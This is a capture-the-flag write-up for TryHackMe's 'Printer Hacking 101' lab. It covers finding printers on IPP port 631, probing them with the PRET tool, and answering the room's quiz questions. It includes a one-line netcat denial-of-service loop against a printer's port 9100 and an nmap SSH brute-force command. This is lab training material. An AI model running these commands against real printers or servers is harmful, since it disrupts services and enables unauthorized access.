✍️
CTFs
Home
  • CTF Writeups
  • Tools and Payloads
  • TryHackMe
    • TryHackMe Overview
      • Advent of Cyber 2
        • Day 01 - Christmas Crisis
        • Day 02 - The Elf Strikes Back!
        • Day 03 - Christmas Chaos
        • Day 04 - Santa's Watching
        • Day 05 - Someone stole Santa's gift list!
        • Day 06 - Be careful with what you wish on a Christmas night
        • Day 07 - The Grinch Really Did Steal Christmas
        • Day 08 - What's Under the Christmas Tree?
        • Day 09 - Anyone can be Santa!
        • Day 10 - Don't be sElfish!
        • Day 11 - The Rogue Gnome
        • Day 12 - Ready, set, elf
        • Day 13 - Coal for Christmas
        • Day 14 - Where's Rudolph?
        • Day 15 - There's a Python in my stocking!
        • Day 16 - Help! Where is Santa?
        • Day 17 - ReverseELFneering
        • Day 18 - The Bits of Christmas
        • Day 19 - The Naughty or Nice List
        • Day 20 - PowershELlF to the rescue
        • Day 21 - Time for some ELForensics
        • Day 22 - Elf McEager becomes CyberElf
        • Day 23 - The Grinch strikes again!
        • Day 24 - The Trial Before Christmas
      • Web Fundamentals
      • Anonymous
      • Printer Hacking 101
      • OWASP Top 10
        • Injection
        • Broken Authentication
        • Sensitive Data Exposure
        • XML External Entity
        • Broken Access Control
        • Security Misconfiguration
        • Cross-Site Scripting
        • Insecure Deserialization
        • Components with Known Vulnerabilities
        • Insufficent Logging & Monitoring
      • Vulnversity
      • Nmap
      • Google Dorking
      • Blog
      • Metasploit
      • OhSINT
      • Searchlight - IMINT
      • Basic Pentesting
      • Crack the Hash
      • Crack the Hash 2
      • Year of the Jellyfish
      • VulnNet - DotJar
      • Encryption - Crypto 101
      • CC: Pen Testing
      • Kenobi
      • Linux Backdoors
      • Root Me
      • DNS Manipulation
      • OWASP Juice Shop
      • Pickle Rick
      • CC: Steganography
      • OverPass
      • OverPass 2 - Hacked
      • OverPass 3 - Hosting
      • Mr Robot CTF
      • VulnNet
      • Linux PrivEsc
      • Git Happens
      • Buffer Overflow Prep
      • BrainPan
      • CC: Ghidra
      • Intro to x86-64
      • CC: Radare2
      • Linux Forensics
      • ReverseEngineering
      • Reversing ELF
      • Simple CTF
      • c4ptur3-th3-fl4g
      • Cat Pictures
      • Bounty Hacker
      • That's the Ticket
      • Brute It
      • Smag Grotto
      • Ignite
      • Ninja Skills
      • Break It
      • Mustacchio
      • Agent Sudo
      • Poster
      • Fowsniff CTF
      • Juicy Details
      • The Impossible Challenge
      • Golden Eye
      • Lian_Yu
      • Couch
      • GateKeeper
      • WebAppSec 101
      • Advent of Cyber 1
        • Day 01 - Inventory Management
        • Day 02 - Arctic Forum
        • Day 03 - Evil Elf
        • Day 04 - Training
        • Day 05 - Ho-Ho-Hosint
        • Day 06 - Data Elf-iltration
        • Day 07 - Skilling Up
        • Day 08 - SUID Shenanigans
        • Day 09 - Requests
        • Day 10 - Metasploit-a-ho-ho-ho
        • Day 11 - Elf Applications
        • Day 12 - Elfcryption
        • Day 13 - Accumulate
        • Day 14 - Unknown Storage
      • Hacker of the Hill
  • HackTheBox
    • HackTheBox Overview
      • Emdee five for life
      • Templated
      • Phonebook
  • HackTheBox Academy
    • HTB Academy Overview
  • PortSwigger Academy
    • PortSwigger Overview
      • Authenication bypass via OAuth implicit flow
      • Forced Oauth Profile Linking
      • OAuth account hijacking via redirect_uri
      • Stealing OAuth access tokens via an open redirect
      • Stealing OAuth access tokens via a proxy page
  • 2021 CTFs
    • Gurugram Cyber Heist CTF 2021
      • All About Web
      • Are You Web Expert
      • Mobile Phones are Bad
      • The Last Step
      • Social Media Havoc
    • ZH3R0 CTF 2.0 2021
      • Misc - Small Maniac's Game
      • Web - bxss
      • Web - Sparta
      • Web - Baby SSRF
      • Web - Original Store v1 and v2
      • Web - strpos and substr
    • NahamCon 2021
      • esab64
      • Bionic & Meet the Team
      • Gus & Hercules
      • Pollex
  • 2020 CTFs
    • VulnCon2020 Overview
      • Noob Bot Welcomes You!
      • Maze
      • Pcaped
Powered by GitBook
On this page
  • Learning Objectives
  • Targeting and Exploiting
  • Solutions
  • What port does IPP run on?
  • How would a simple printer TCP DoS attack look as a one-line command?
  • Review the cheat sheet provided in the task reading above. What attack are printers often vulnerable to which involves sending more and more information until a pre-allocated buffer size is surpassed?
  • Brute forcing SSH password
  • Connect to the printer per the instructions above. Where's the Fox_Printer located?
  • What is the size of a test sheet?
  1. TryHackMe
  2. TryHackMe Overview

Printer Hacking 101

PreviousAnonymousNextOWASP Top 10

Last updated 1 year ago

Date: 13, December, 2020

Author: Dhilip Sanjay S


to go to the TryHackMe room.

Learning Objectives

  • CUPS Server (Common UNIX Printing System)

  • IPP (Internet Printing Protocol)

Targeting and Exploiting

  • Locating Printers

    • python pret.py

    • nmap -p 631 <IP_RANGE>

  • Exploiting

    • Three options in PRET:

      • PS (PostScript)

      • PJL (Printer Job Language)

      • PCL (Printer Command Language)

    • Try out all the three languages, to check if the language will be understood by the printer

      python pret.py laserjet.lan ps
      python pret.py {IP} pjl
      python pret.py /dev/usb/lp0 pcl    
    • Once you get a shell-like output, type help to see the different commands available.


Solutions

What port does IPP run on?

  • Answer: 631

  • Impact

    • An open IPP port can expose a lot of sensitive information such as printer name, location, model, firmware version, or even printer wifi SSID.


How would a simple printer TCP DoS attack look as a one-line command?

  • Answer: while true; do nc printer 9100; done

  • Explanation:

    • Replace printer with <PRINTER_IP>

    • Since it is an infinite loop, the printer will remain busy.


Review the cheat sheet provided in the task reading above. What attack are printers often vulnerable to which involves sending more and more information until a pre-allocated buffer size is surpassed?

  • Answer: Buffer Overflow


Brute forcing SSH password

  • Use any of the following

    1. Metasploit

    2. Hydra

    3. Nmap

  • Using nmap:

    • nmap <MACHINE_IP> -p 22 --script ssh-brute --script-arg userdb=user.txt

    • Since we know the username, user.txt must contain only printer


Connect to the printer per the instructions above. Where's the Fox_Printer located?

  • Answer: Skidy's basement

  • Steps to Reproduce: Visit http://<MACHINE_IP>:631/printers/


What is the size of a test sheet?

  • Answer: 1k

  • Steps to Reproduce:

    • Visit http://<MACHINE_IP>:631/printers/Fox_Printer

    • Select Print Test Page option from the Drop-down box.

    • The jobs will be listed at the bottom of the page.

    • Check the size column in that table.


Click Here
PRET - Printer Exploitation
Printer Security Testing Cheat Sheet
Null Byte Article
Image
Image